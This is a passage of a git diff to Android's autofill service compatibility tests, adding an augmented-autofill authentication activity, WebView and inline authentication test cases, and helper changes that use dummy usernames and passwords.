+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:inputType="textPassword"
+ android:autofillHints="password" />
+
+ <Button
+ android:id="@+id/yes"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Yes" />
+
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index b247ec2..7ddfccc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -34,6 +34,8 @@
import android.util.Log;
import android.util.SparseArray;
import android.view.autofill.AutofillManager;
+import android.widget.Button;
+import android.widget.EditText;
import com.google.common.base.Preconditions;
@@ -58,6 +60,7 @@
private static final int MSG_WAIT_FOR_LATCH = 1;
+ private static final int MSG_REQUEST_AUTOFILL = 2;
private static Bundle sData;
private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
@@ -73,10 +76,18 @@
// Used to block response until it's counted down.
private static CountDownLatch sResponseLatch;
+ // Guarded by sLock
+ // Used to request autofill for a autofillable view in AuthenticationActivity
+ private static boolean sRequestAutofill;
+
private Handler mHandler;
+ private EditText mPasswordEditText;
+ private Button mYesButton;
+
static void resetStaticState() {
- setResultCode(RESULT_OK);
+ setResultCode(null, RESULT_OK);
+ setRequestAutofillForAuthenticationActivity(/* requestAutofill */ false);
sDatasets.clear();
sResponses.clear();
for (int i = 0; i < sPendingIntents.size(); i++) {
@@ -168,15 +179,30 @@
}
}
+ public static void setRequestAutofillForAuthenticationActivity(boolean requestAutofill) {
+ synchronized (sLock) {
+ sRequestAutofill = requestAutofill;
+ }
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ setContentView(R.layout.authentication_activity);
+
+ mPasswordEditText = findViewById(R.id.password);
+ mYesButton = findViewById(R.id.yes);
+ mYesButton.setOnClickListener(view -> doIt());
+
mHandler = new Handler(Looper.getMainLooper(), (m) -> {
switch (m.what) {
case MSG_WAIT_FOR_LATCH:
waitForLatchAndDoIt();
break;
+ case MSG_REQUEST_AUTOFILL:
+ requestFocusOnPassword();
+ break;
default:
throw new IllegalArgumentException("invalid message: " + m);
}
@@ -186,11 +212,17 @@
if (sResponseLatch != null) {
Log.d(TAG, "Delaying message until latch is counted down");
mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
+ } else if (sRequestAutofill) {
+ mHandler.dispatchMessage(mHandler.obtainMessage(MSG_REQUEST_AUTOFILL));
} else {
doIt();
}
}
+ private void requestFocusOnPassword() {
+ syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
+ }
+
private void waitForLatchAndDoIt() {
try {
final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 6c229e0..f0e1179 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -26,6 +26,7 @@
import android.app.PendingIntent;
import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
+import android.autofillservice.cts.augmented.AugmentedAuthActivity;
import android.autofillservice.cts.inline.InlineUiBot;
import android.content.ClipboardManager;
import android.content.Context;
@@ -100,6 +101,10 @@
return sDefaultUiBot2;
}
+ protected static UiBot getDropdownUiBot() {
+ return sDefaultUiBot;
+ }
+
@ClassRule
public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
sTheRealServiceSettingsKeeper;
@@ -388,6 +393,7 @@
InstrumentedAutoFillService.resetStaticState();
AuthenticationActivity.resetStaticState();
+ AugmentedAuthActivity.resetStaticState();
sReplier.reset();
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java
new file mode 100644
index 0000000..8de9eb7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.augmented;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.AbstractAutoFillActivity;
+import android.autofillservice.cts.R;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Activity for testing Augmented Autofill authentication flow. This activity shows a simple UI;
+ * when the UI is tapped, it returns whatever data was configured via the auth intent.
+ */
+public class AugmentedAuthActivity extends AbstractAutoFillActivity {
+ private static final String TAG = "AugmentedAuthActivity";
+
+ public static final String ID_AUTH_ACTIVITY_BUTTON = "button";
+
+ private static final String EXTRA_DATASET_TO_RETURN = "dataset_to_return";
+ private static final String EXTRA_CLIENT_STATE_TO_RETURN = "client_state_to_return";
+ private static final String EXTRA_RESULT_CODE_TO_RETURN = "result_code_to_return";
+
+ private static final List<PendingIntent> sPendingIntents = new ArrayList<>(1);
+
+ public static void resetStaticState() {
+ for (PendingIntent pendingIntent : sPendingIntents) {
+ pendingIntent.cancel();
+ }
+ sPendingIntents.clear();
+ }
+
+ public static IntentSender createSender(Context context, int requestCode,
+ Dataset datasetToReturn, Bundle clientStateToReturn, int resultCodeToReturn) {
+ Intent intent = new Intent(context, AugmentedAuthActivity.class);
+ intent.putExtra(EXTRA_DATASET_TO_RETURN, datasetToReturn);
+ intent.putExtra(EXTRA_CLIENT_STATE_TO_RETURN, clientStateToReturn);
+ intent.putExtra(EXTRA_RESULT_CODE_TO_RETURN, resultCodeToReturn);
+ PendingIntent pendingIntent = PendingIntent.getActivity(context, requestCode, intent, 0);
+ sPendingIntents.add(pendingIntent);
+ return pendingIntent.getIntentSender();
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ Log.d(TAG, "Auth activity invoked, showing auth UI");
+ setContentView(R.layout.single_button_activity);
+ findViewById(R.id.button).setOnClickListener((v) -> {
+ Log.d(TAG, "Auth UI tapped, returning result");
+
+ Intent intent = getIntent();
+ Dataset dataset = intent.getParcelableExtra(EXTRA_DATASET_TO_RETURN);
+ Bundle clientState = intent.getParcelableExtra(EXTRA_CLIENT_STATE_TO_RETURN);
+ int resultCode = intent.getIntExtra(EXTRA_RESULT_CODE_TO_RETURN, RESULT_OK);
+ Log.d(TAG, "Output: dataset=" + dataset + ", clientState=" + clientState
+ + ", resultCode=" + resultCode);
+
+ Intent result = new Intent();
+ result.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, dataset);
+ result.putExtra(AutofillManager.EXTRA_CLIENT_STATE, clientState);
+ setResult(resultCode, result);
+
+ finish();
+ });
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
index a8a26a3..af1229b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
@@ -19,6 +19,7 @@
import android.autofillservice.cts.R;
import android.content.Context;
+import android.content.IntentSender;
import android.os.Bundle;
import android.service.autofill.InlinePresentation;
import android.service.autofill.augmented.FillCallback;
@@ -189,6 +190,7 @@
final AutofillId id = pair.first;
datasetBuilder.setFieldInlinePresentation(id, pair.second, null,
dataset.mFieldPresentationById.get(id));
+ datasetBuilder.setAuthentication(dataset.mAuthentication);
}
list.add(datasetBuilder.build());
}
@@ -279,12 +281,14 @@
private final Map<AutofillId, InlinePresentation> mFieldPresentationById;
private final String mPresentation;
private final AutofillValue mOnlyFieldValue;
+ private final IntentSender mAuthentication;
private Dataset(@NonNull Builder builder) {
mFieldValuesById = builder.mFieldValuesById;
mPresentation = builder.mPresentation;
mOnlyFieldValue = builder.mOnlyFieldValue;
mFieldPresentationById = builder.mFieldPresentationById;
+ this.mAuthentication = builder.mAuthentication;
}
@NonNull
@@ -304,6 +308,7 @@
return "Dataset: [presentation=" + mPresentation
+ ", onlyField=" + mOnlyFieldValue
+ ", fields=" + mFieldValuesById
+ + ", auth=" + mAuthentication
+ "]";
}
@@ -314,6 +319,7 @@
private final String mPresentation;
private AutofillValue mOnlyFieldValue;
+ private IntentSender mAuthentication;
public Builder(@NonNull String presentation) {
mPresentation = Objects.requireNonNull(presentation);
@@ -356,6 +362,13 @@
return this;
}
+ /**
+ * Sets the authentication intent for this dataset.
+ */
+ public Builder setAuthentication(IntentSender authentication) {
+ mAuthentication = authentication;
+ return this;
+ }
public Dataset build() {
return new Dataset(this);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
new file mode 100644
index 0000000..bb81399
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.inline;
+
+import static android.app.Activity.RESULT_CANCELED;
+import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.AutofillActivityTestRule;
+import android.autofillservice.cts.augmented.AugmentedAuthActivity;
+import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.augmented.AugmentedLoginActivity;
+import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
+import android.autofillservice.cts.augmented.CtsAugmentedAutofillService;
+import android.content.IntentSender;
+import android.service.autofill.Dataset;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+
+import org.junit.Test;
+
+public class InlineAugmentedAuthTest
+ extends AugmentedAutofillAutoActivityLaunchTestCase<AugmentedLoginActivity> {
+
+ protected AugmentedLoginActivity mActivity;
+
+ public InlineAugmentedAuthTest() {
+ super(getInlineUiBot());
+ }
+
+ @Override
+ protected AutofillActivityTestRule<AugmentedLoginActivity> getActivityRule() {
+ return new AutofillActivityTestRule<AugmentedLoginActivity>(AugmentedLoginActivity.class) {
+ @Override
+ protected void afterActivityLaunched() {
+ mActivity = getActivity();
+ }
+ };
+ }
+
+ @Test
+ public void testDatasetAuth_resultOk_validDataset() throws Exception {
+ // Set services
+ enableService();
+ enableAugmentedService();
+
+ // Set expectations
+ final EditText unField = mActivity.getUsername();
+ final AutofillId unFieldId = unField.getAutofillId();
+ final AutofillValue unValue = unField.getAutofillValue();
+ sReplier.addResponse(NO_RESPONSE);
+ Dataset authResult = new Dataset.Builder(createInlinePresentation("auth"))
+ .setId("dummyId")
+ .setValue(unFieldId, AutofillValue.forText("Auth Result"))
+ .build();
+ IntentSender authAction = AugmentedAuthActivity.createSender(mContext, 1,
+ authResult, null, RESULT_OK);
+ sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+ .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("bla").build(),
+ unFieldId)
+ .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("inline")
+ .setField(unFieldId, "John Smith", createInlinePresentation("John"))
+ .setAuthentication(authAction)
+ .build())
+ .build());
+
+ // Trigger autofill request
+ mUiBot.selectByRelativeId(ID_USERNAME);
+ mUiBot.waitForIdle();
+ sReplier.getNextFillRequest();
+ CtsAugmentedAutofillService.AugmentedFillRequest request1 =
+ sAugmentedReplier.getNextFillRequest();
+
+ // Assert request
+ assertBasicRequestInfo(request1, mActivity, unFieldId, unValue);
+
+ // Confirm suggestions
+ mUiBot.assertDatasets("John");
+
+ // Tap on suggestion
+ mUiBot.selectDataset("John");
+ mUiBot.waitForIdle();
+
+ // Tap on the auth activity button and assert that the dataset from the auth activity is
+ // filled into the field.
+ mActivity.expectAutoFill("Auth Result");
+ mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
+ mUiBot.waitForIdle();
+ mActivity.assertAutoFilled();
+ assertThat(unField.getText().toString()).isEqualTo("Auth Result");
+ mUiBot.assertNoDatasets();
+ }
+
+ @Test
+ public void testDatasetAuth_resultOk_nullDataset() throws Exception {
+ // Set services
+ enableService();
+ enableAugmentedService();
+
+ // Set expectations
+ final EditText unField = mActivity.getUsername();
+ final AutofillId unFieldId = unField.getAutofillId();
+ final AutofillValue unValue = unField.getAutofillValue();
+ sReplier.addResponse(NO_RESPONSE);
+ IntentSender authAction = AugmentedAuthActivity.createSender(mContext, 1,
+ null, null, RESULT_OK);
+ sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+ .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("bla").build(),
+ unFieldId)
+ .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("inline")
+ .setField(unFieldId, "John Smith", createInlinePresentation("John"))
+ .setAuthentication(authAction)
+ .build())
+ .build());
+
+ // Trigger autofill request
+ mUiBot.selectByRelativeId(ID_USERNAME);
+ mUiBot.waitForIdle();
+ sReplier.getNextFillRequest();
+ CtsAugmentedAutofillService.AugmentedFillRequest request1 =
+ sAugmentedReplier.getNextFillRequest();
+
+ // Assert request
+ assertBasicRequestInfo(request1, mActivity, unFieldId, unValue);
+
+ // Confirm suggestions
+ mUiBot.assertDatasets("John");
+
+ // Tap on suggestion
+ mUiBot.selectDataset("John");
+ mUiBot.waitForIdle();
+
+ // Tap on the auth activity button and assert that the field is left unchanged (since the
+ // dataset returned from the auth activity is null).
+ mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
+ mUiBot.waitForIdle();
+ assertThat(unField.getText().toString()).isEqualTo("");
+ }
+
+ @Test
+ public void testDatasetAuth_resultCancel() throws Exception {
+ // Set services
+ enableService();
+ enableAugmentedService();
+
+ // Set expectations
+ final EditText unField = mActivity.getUsername();
+ final AutofillId unFieldId = unField.getAutofillId();
+ final AutofillValue unValue = unField.getAutofillValue();
+ sReplier.addResponse(NO_RESPONSE);
+ Dataset authResult = new Dataset.Builder(createInlinePresentation("auth"))
+ .setId("dummyId")
+ .setValue(unFieldId, AutofillValue.forText("Auth Result"))
+ .build();
+ IntentSender authAction = AugmentedAuthActivity.createSender(mContext, 1,
+ authResult, null, RESULT_CANCELED);
+ sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+ .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("bla").build(),
+ unFieldId)
+ .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("inline")
+ .setField(unFieldId, "John Smith", createInlinePresentation("John"))
+ .setAuthentication(authAction)
+ .build())
+ .build());
+
+ // Trigger autofill request
+ mUiBot.selectByRelativeId(ID_USERNAME);
+ mUiBot.waitForIdle();
+ sReplier.getNextFillRequest();
+ CtsAugmentedAutofillService.AugmentedFillRequest request1 =
+ sAugmentedReplier.getNextFillRequest();
+
+ // Assert request
+ assertBasicRequestInfo(request1, mActivity, unFieldId, unValue);
+
+ // Confirm suggestions
+ mUiBot.assertDatasets("John");
+
+ // Tap on suggestion
+ mUiBot.selectDataset("John");
+ mUiBot.waitForIdle();
+
+ // Tap on the auth activity button and assert that the field is left unchanged (since the
+ // result code returned by the auth activity is RESULT_CANCELED).
+ mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
+ mUiBot.waitForIdle();
+ assertThat(unField.getText().toString()).isEqualTo("");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
new file mode 100644
index 0000000..7ebe26d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.inline;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.AutofillActivityTestRule;
+import android.autofillservice.cts.CannedFillResponse;
+import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.MyWebView;
+import android.autofillservice.cts.WebViewActivity;
+import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+public class InlineAugmentedWebViewActivityTest extends
+ AugmentedAutofillAutoActivityLaunchTestCase<WebViewActivity> {
+
+ private static final String TAG = "InlineAugmentedWebViewActivityTest";
+ private WebViewActivity mActivity;
+
+ public InlineAugmentedWebViewActivityTest() {
+ super(getInlineUiBot());
+ }
+
+ @Override
+ protected AutofillActivityTestRule<WebViewActivity> getActivityRule() {
+ return new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+ @Override
+ protected void beforeActivityLaunched() {
+ super.beforeActivityLaunched();
+ Log.i(TAG, "Setting service before launching the activity");
+ enableService();
+ }
+
+ @Override
+ protected void afterActivityLaunched() {
+ mActivity = getActivity();
+ }
+ };
+ }
+
+ @Test
+ public void testAugmentedAutoFillNoDatasets() throws Exception {
+ // Set service.
+ enableAutofillServices();
+
+ // Load WebView
+ mActivity.loadWebView(mUiBot);
+ mUiBot.waitForIdleSync();
+
+ // Set expectations.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+ sAugmentedReplier.addResponse(NO_AUGMENTED_RESPONSE);
+
+ // Trigger autofill.
+ mActivity.getUsernameInput().click();
+ sReplier.getNextFillRequest();
+ sAugmentedReplier.getNextFillRequest();
+
+ // Assert not shown.
+ mUiBot.assertNoDatasetsEver();
+ }
+
+ @Test
+ public void testAugmentedAutoFillOneDataset() throws Exception {
+ // Set service.
+ enableAutofillServices();
+
+ testBasicAugmentedAutofill();
+ }
+
+ @Test
+ public void testAugmentedAutoFill_startTypingHideInline() throws Exception {
+ // Set service.
+ enableAutofillServices();
+
+ testBasicAugmentedAutofill();
+
+ // Now pretend user typing something by updating the value in the input field.
+ mActivity.getUsernameInput().click();
+ mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+
+ // Expect the inline suggestion to disappear.
+ mUiBot.assertNoDatasets();
+ }
+
+ private void enableAutofillServices() throws Exception {
+ enableService();
+ enableAugmentedService();
+ }
+
+ private void testBasicAugmentedAutofill() throws Exception {
+ // Load WebView
+ MyWebView myWebView = mActivity.loadWebView(mUiBot);
+ mUiBot.waitForIdleSync();
+
+ // Set expectations
+ sReplier.addResponse(NO_RESPONSE);
+
+ // Trigger autofill.
+ mActivity.getUsernameInput().click();
+ mUiBot.waitForIdleSync();
+
+ // We cannot get webview field's AutofillId from AugmentedService FillRequest, we only can
+ // get these AutofillIds from AutofillService's AssistStructure by using html tag.
+ FillRequest autofillRequest = sReplier.getNextFillRequest();
+
+ // Set expectations for AugmentedService
+ AutofillId usernameId = getAutofillIdByWebViewTag(autofillRequest, HTML_NAME_USERNAME);
+ AutofillId passwordId = getAutofillIdByWebViewTag(autofillRequest, HTML_NAME_PASSWORD);
+ sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+ .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+ .setField(usernameId, "dude", createInlinePresentation("dude"))
+ .setField(passwordId, "sweet", createInlinePresentation("sweet"))
+ .build())
+ .setOnlyDataset(new CannedAugmentedFillResponse.Dataset.Builder("req1")
+ .setOnlyField("dude")
+ .build())
+ .build());
+
+ sAugmentedReplier.getNextFillRequest();
+ final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
+
+ // Now Autofill it.
+ myWebView.expectAutofill("dude", "sweet");
+ mUiBot.selectDataset(datasetPicker, "dude");
+ myWebView.assertAutofilled();
+ mUiBot.assertNoDatasets();
+ }
+
+ private AutofillId getAutofillIdByWebViewTag(FillRequest autofillRequest, String tag) {
+ ViewNode viewNode = Helper.findNodeByHtmlName(autofillRequest.structure, tag);
+ return AutofillId.withoutSession(viewNode.getAutofillId());
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
index 5c63891..b39f549 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
@@ -18,6 +18,7 @@
import static android.app.Activity.RESULT_CANCELED;
import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_USERNAME;
import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
@@ -34,6 +35,7 @@
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.Helper;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.UiBot;
import android.content.IntentSender;
import android.platform.test.annotations.AppModeFull;
@@ -67,6 +69,101 @@
return InlineUiBot.annotateRule(super.getMainTestRule());
}
+ /**
+ * This test verifies the behavior that user starts a new AutofillSession in Authentication
+ * Activity during the FillResponse authentication flow, we will fallback to dropdown when
+ * authentication done and then back to original Activity.
+ */
+ @Test
+ public void testFillResponseAuth_withNewAutofillSessionStartByActivity()
+ throws Exception {
+ // Set service.
+ enableService();
+
+ // Prepare the authenticated response
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setId("name")
+ .setInlinePresentation(createInlinePresentation("Dataset"))
+ .setPresentation(createPresentation("Dataset"))
+ .build()).build());
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+ .setPresentation(createPresentation("Tap to auth!"))
+ .setInlinePresentation(createInlinePresentation("Tap to auth!"))
+ .build());
+
+ // Trigger auto-fill.
+ assertSuggestionShownBySelectViewId(ID_USERNAME, "Tap to auth!");
+ sReplier.getNextFillRequest();
+
+ // Need to trigger autofill on AuthenticationActivity
+ // Set expected response for autofill on AuthenticationActivity
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ AuthenticationActivity.setRequestAutofillForAuthenticationActivity(true);
+ sReplier.addResponse(NO_RESPONSE);
+ // Select the dataset to start authentication
+ mUiBot.selectDataset("Tap to auth!");
+ mUiBot.waitForIdle();
+ sReplier.getNextFillRequest();
+ // Select yes button in AuthenticationActivity to finish authentication
+ mUiBot.selectByRelativeId("yes");
+ mUiBot.waitForIdle();
+
+ // Check fallback to dropdown
+ final UiBot dropDownUiBot = getDropdownUiBot();
+ dropDownUiBot.assertDatasets("Dataset");
+ }
+
+ @Test
+ public void testFillResponseAuth() throws Exception {
+ // Set service.
+ enableService();
+
+ // Prepare the authenticated response
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setId("name")
+ .setInlinePresentation(createInlinePresentation("Dataset"))
+ .setPresentation(createPresentation("Dataset"))
+ .build()).build());
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+ .setPresentation(createPresentation("Tap to auth!"))
+ .setInlinePresentation(createInlinePresentation("Tap to auth!"))
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill
+ assertSuggestionShownBySelectViewId(ID_USERNAME, "Tap to auth!");
+
+ sReplier.getNextFillRequest();
+
+ // Set AuthenticationActivity result code
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ // Select the dataset to start authentication
+ mUiBot.selectDataset("Tap to auth!");
+ mUiBot.waitForIdle();
+ // Authentication done, show real dataset
+ mUiBot.assertDatasets("Dataset");
+
+ // Select the dataset and check the result is autofilled.
+ mUiBot.selectDataset("Dataset");
+ mUiBot.waitForIdle();
+ mUiBot.assertNoDatasets();
+ mActivity.assertAutoFilled();
+ }
+
@Test
public void testDatasetAuthTwoFields() throws Exception {
datasetAuthTwoFields(/* cancelFirstAttempt */ false);
@@ -133,6 +230,79 @@
}
@Test
+ public void testDatasetAuthPinnedPresentationSelectedAndAutofilled() throws Exception {
+ // Set service.
+ enableService();
+
+ // Prepare the authenticated dataset
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .build());
+
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, null,
+ Helper.createPinnedInlinePresentation("auth-pinned"))
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE, null,
+ Helper.createInlinePresentation("auth-unpinned"))
+ .setPresentation(createPresentation("auth"))
+ .setAuthentication(authentication)
+ .build());
+ sReplier.addResponse(builder.build());
+
+ // Trigger auto-fill, verify seeing dataset.
+ assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-pinned");
+ sReplier.getNextFillRequest();
+
+ // ...and select the dataset, then check the authentication result is autofilled.
+ mActivity.expectAutoFill("dude", "sweet");
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ mUiBot.selectDataset("auth-pinned");
+ mUiBot.waitForIdle();
+ mActivity.assertAutoFilled();
+
+ // Clear the username field, and expect to see the pinned suggestion again, rather than
+ // the one returned from auth intent.
+ mActivity.onUsername((v) -> v.setText(""));
+ assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-pinned");
+
+ // Now select the dataset again and verify that the same authentication flow happens.
+ mActivity.expectAutoFill("dude", "sweet");
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ mUiBot.selectDataset("auth-pinned");
+ mUiBot.waitForIdle();
+ mActivity.assertAutoFilled();
+
+ // Clear the username field, put focus on password field, and then clear the password field,
+ // Expect to see unpinned suggestion.
+ mActivity.onUsername((v) -> v.setText(""));
+ mUiBot.selectByRelativeId(ID_PASSWORD);
+ mActivity.onPassword((v) -> v.setText(""));
+ assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-unpinned");
+
+ // Now select the dataset again and verify that the same authentication flow happens.
+ mActivity.expectAutoFill("dude", "sweet");
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ mUiBot.selectDataset("auth-unpinned");
+ mUiBot.waitForIdle();
+ mActivity.assertAutoFilled();
+
+ // Clear the password field, and expect to see the unpinned suggestion again, rather than
+ // the one returned from auth intent.
+ mActivity.onPassword((v) -> v.setText(""));
+ assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-unpinned");
+
+ // Now select the dataset again and verify that the same authentication flow happens.
+ mActivity.expectAutoFill("dude", "sweet");
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ mUiBot.selectDataset("auth-unpinned");
+ mUiBot.waitForIdle();
